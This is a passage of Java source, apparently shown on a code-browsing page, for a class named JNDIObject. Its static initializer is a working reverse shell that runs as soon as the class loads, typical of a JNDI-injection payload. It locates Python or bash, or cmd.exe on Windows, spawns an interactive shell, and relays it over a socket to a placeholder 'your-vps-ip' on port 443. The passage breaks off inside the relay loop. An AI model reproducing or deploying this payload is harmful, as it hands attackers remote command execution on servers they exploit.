| 10 | import java.net.Socket; |
| 11 | |
| 12 | public class JNDIObject { |
| 13 | static { |
| 14 | try{ |
| 15 | String ip = "your-vps-ip"; |
| 16 | String port = "443"; |
| 17 | String py_path = null; |
| 18 | String[] cmd; |
| 19 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { |
| 20 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; |
| 21 | for(int i = 0; i < py_envs.length; ++i) { |
| 22 | String py = py_envs[i]; |
| 23 | if ((new File(py)).exists()) { |
| 24 | py_path = py; |
| 25 | break; |
| 26 | } |
| 27 | } |
| 28 | if (py_path != null) { |
| 29 | if ((new File("/bin/bash")).exists()) { |
| 30 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; |
| 31 | } else { |
| 32 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; |
| 33 | } |
| 34 | } else { |
| 35 | if ((new File("/bin/bash")).exists()) { |
| 36 | cmd = new String[]{"/bin/bash"}; |
| 37 | } else { |
| 38 | cmd = new String[]{"/bin/sh"}; |
| 39 | } |
| 40 | } |
| 41 | } else { |
| 42 | cmd = new String[]{"cmd.exe"}; |
| 43 | } |
| 44 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); |
| 45 | Socket s = new Socket(ip, Integer.parseInt(port)); |
| 46 | InputStream pi = p.getInputStream(); |
| 47 | InputStream pe = p.getErrorStream(); |
| 48 | InputStream si = s.getInputStream(); |
| 49 | OutputStream po = p.getOutputStream(); |
| 50 | OutputStream so = s.getOutputStream(); |
| 51 | while(!s.isClosed()) { |
| 52 | while(pi.available() > 0) { |
| 53 | so.write(pi.read()); |
| 54 | } |
| 55 | while(pe.available() > 0) { |
| 56 | so.write(pe.read()); |
| 57 | } |
| 58 | while(si.available() > 0) { |
| 59 | po.write(si.read()); |
| 60 | } |
| 61 | so.flush(); |
| 62 | po.flush(); |
| 63 | Thread.sleep(50L); |
| 64 | try { |
| 65 | p.exitValue(); |
| 66 | break; |
| 67 | } catch (Exception e) { |
| 68 | } |
| 69 | } |
nothing calls this directly
no outgoing calls
no test coverage detected